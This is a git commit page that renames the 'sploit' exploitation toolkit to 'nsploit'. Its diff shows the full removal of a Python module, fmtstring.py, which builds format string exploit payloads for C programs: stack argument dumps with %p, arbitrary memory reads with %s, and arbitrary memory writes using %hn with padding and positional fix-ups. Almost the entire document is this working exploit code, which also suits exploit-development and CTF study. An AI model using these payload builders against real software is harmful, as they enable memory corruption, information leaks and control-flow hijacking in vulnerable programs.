summaryrefslogtreecommitdiffstats
path: root/sploit/payload/fmtstring.py
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2025-01-02 19:17:34 -0500
committerMalfurious <m@lfurio.us>2025-01-04 23:54:51 -0500
commit0f00627964a4b2e515108401fa2cfe94600ad648 (patch)
tree56da2ccaf393a1124220cc187a7225a4efcfbcba /sploit/payload/fmtstring.py
parent640726aa11369d328c1cdfe00b4344b6a925729c (diff)
downloadnsploit-0f00627964a4b2e515108401fa2cfe94600ad648.tar.gz
nsploit-0f00627964a4b2e515108401fa2cfe94600ad648.zip
Rename sploit package to nsploit
Rename all affected files, references to file paths, and module imports within the code. Since this line of development represents a fork from the original sploit, a name change is seen as necessary to distinguish the projects, as well as allow them to be installed side by side. What does the "n" mean? Great question! You can think of it as meaning "new sploit" if you want, though that's not quite intended. The name is simply distinct and easy to pronounce. I had originally settled on "msploit" (something along the lines of "Malf's sploit"), but this name is too close to "metasploit" for me - and N is right next to it on the keyboard. Signed-off-by: Malfurious <m@lfurio.us>
Diffstat (limited to 'sploit/payload/fmtstring.py')
-rw-r--r--sploit/payload/fmtstring.py178
1 files changed, 0 insertions, 178 deletions
diff --git a/sploit/payload/fmtstring.py b/sploit/payload/fmtstring.py
deleted file mode 100644
index 54da6f2..0000000
--- a/sploit/payload/fmtstring.py
+++ /dev/null
@@ -1,178 +0,0 @@
-"""
-Exploit C-style format string vulnerabilities
-
-These techniques leverage functions such as printf, fprintf, sprintf, etc. when
-run on unchecked user input to perform arbitrary memory read or write. This is
-made possible by the unintended use of user input as the function's format
-string argument, instead of an ordinary data argument. Attackers may inject
-their own conversion specifiers, which act as operating instructions to the
-function. Interesting formatters include:
-
- %p Read argument value. These are the values of function argument
- registers and values from the stack. The value is printed as
- hexadecimal (with leading "0x") and interprets values as unsigned
- long (aka, same size as arch.wordsize).
-
- %s Read memory as asciiz string. Prints the data pointed to by
- argument value.
-
- %c Read argument as 8-bit character, printing the interpreted character
- value. This formatter is useful in combination with a field width
- specifier in order to print a controlled number of bytes to the
- output, which is meaningful to the next formatter.
-
- %n Write memory as integer. Prints no output, but writes the number of
- characters printed so far to the location pointed to by the argument
- pointer. A length modifier will control the bit-width of the
- integer written.
-
-See `man 3 printf` for more details.
-"""
-
-from sploit.arch import arch, btoi, itob
-from sploit.payload.payload import Payload
-from sploit.payload.payload_entry import padalign, padrel
-
-_FMTSTR_MAGIC = b"\xcd"
-
-def _make_fmtstr_payload():
- # A typical layout will look like this:
- # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe'
- # ^ ^ ^ ^ ^ ^
- # fmt[0] fmt[1] nul | addrs[0] addrs[1]
- # align
- #
- # Many examples found online will demo placing addresses at the front. Eg:
- # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00'
- # This has the benefit that %n positional values are simple to calculate
- # (they just start at the payload position and increase by one). However,
- # any NULL bytes in the addresses break the exploit, since printf will stop
- # processing its string once a NULL is encountered.
- #
- # Moving addresses to the end mitigates this. Wordsize alignment is then
- # necessary to give for valid argument positions. We also intentionally
- # NULL terminate the format string portion of the payload to prevent printf
- # from processing beyond formatters.
- fp = Payload()
- fp.fmt = Payload()
- fp.null = b"\x00"
- fp.align = padalign(arch.wordsize)
- fp.addrs = Payload()
- return fp
-
-def _fixup_positionals(fp, position, offset=None):
- if offset is None:
- offset = fp.addrs.base // arch.wordsize
-
- fixup = _make_fmtstr_payload()
- fixup.addrs = fp.addrs
-
- for i, fmt in enumerate(fp.fmt):
- pos = position + offset + i
- fixup.fmt(fmt.decode().format(pos).encode())
-
- # String formatting positional values may grow the format string so much
- # as to cause the addrs offset to shift. Detect this and correct.
- check = fixup.addrs.base // arch.wordsize
- if offset != check:
- return _fixup_positionals(fp, position, check)
-
- return fixup
-
-def fmtstr_dump(start=None, end=None):
- """
- Return a format string payload which dumps annotated argument values.
-
- start (int): Starting argument position (default: 1)
- end (int): Ending argument position (default: start + 20)
- """
- if start is None: start = 1
- if end is None: end = start + 19 # inclusive, so 20 total arguments
-
- fp = Payload()
- fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC)
- fp.fmt = Payload()
- fp.null = b"\x00"
-
- for pos in range(start, end+1):
- if pos < len(arch.funcargs):
- label = arch.funcargs[pos]
- else:
- offset = (pos - len(arch.funcargs)) * arch.wordsize
- label = f"stack+{hex(offset)}"
-
- fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode())
-
- return fp
-
-def fmtstr_get(*positions, join=" "):
- """
- Return a format string payload which prints specific argument values.
-
- positions (*int): Argument positions
- join (str): Delimiter string
- """
- fp = Payload()
- fp.fmt = Payload()
- fp.null = join
-
- for p in positions:
- fp.fmt(f"{join}%{p}$p".encode())
-
- return fp
-
-def fmtstr_read(position, address):
- """
- Return a format string payload which reads data (as string, via %s).
-
- position (int): printf positional offset of payload on stack.
- address (int): Address of data to read.
- """
- fp = _make_fmtstr_payload()
- fp.fmt(b"%{}$s")
- fp.addrs(address)
- return _fixup_positionals(fp, position)
-
-def fmtstr_write(position, _data, _value=None):
- """
- Return a format string payload which writes data.
-
- One option for calling this function is to give a write destination in _data
- as an integer, and the value to write in _value.
-
- Alternatively, _data may contain a dictionary, with write destinations as
- keys and contents to write as values. _value is ignored in this case.
-
- In either case, the contents to write is generally expected to be bytes.
- However, integers are converted automatically via itob().
-
- position (int): printf positional offset of payload on stack.
- _data (int|dict{int:bytes}): Write data (see above)
- _value (int|bytes): Write value (see above)
- """
- # Convert from 2-argument style to dictionary.
- if type(_data) is int:
- _data = { _data: _value }
-
- pairs = {}
-
- # Collect each 2-byte word to write.
- for addr, value in _data.items():
- value = itob(value) if type(value) is int else bytes(value)
- words = [ value[i:i+2] for i in range(0, len(value), 2) ]
- words = { addr+(i*2): btoi(w) for i, w in enumerate(words) }
- pairs.update(words)
-
- fp = _make_fmtstr_payload()
- prev = 0
-
- # Craft writes.
- for addr, word in sorted(pairs.items(), key=lambda x: x[1]):
- diff = word - prev
- prev = word
-
- size = "" if diff == 0 else f"%{diff}c"
- fp.fmt(f"{size}%{{}}$hn".encode())
- fp.addrs(addr)
-
- return _fixup_positionals(fp, position)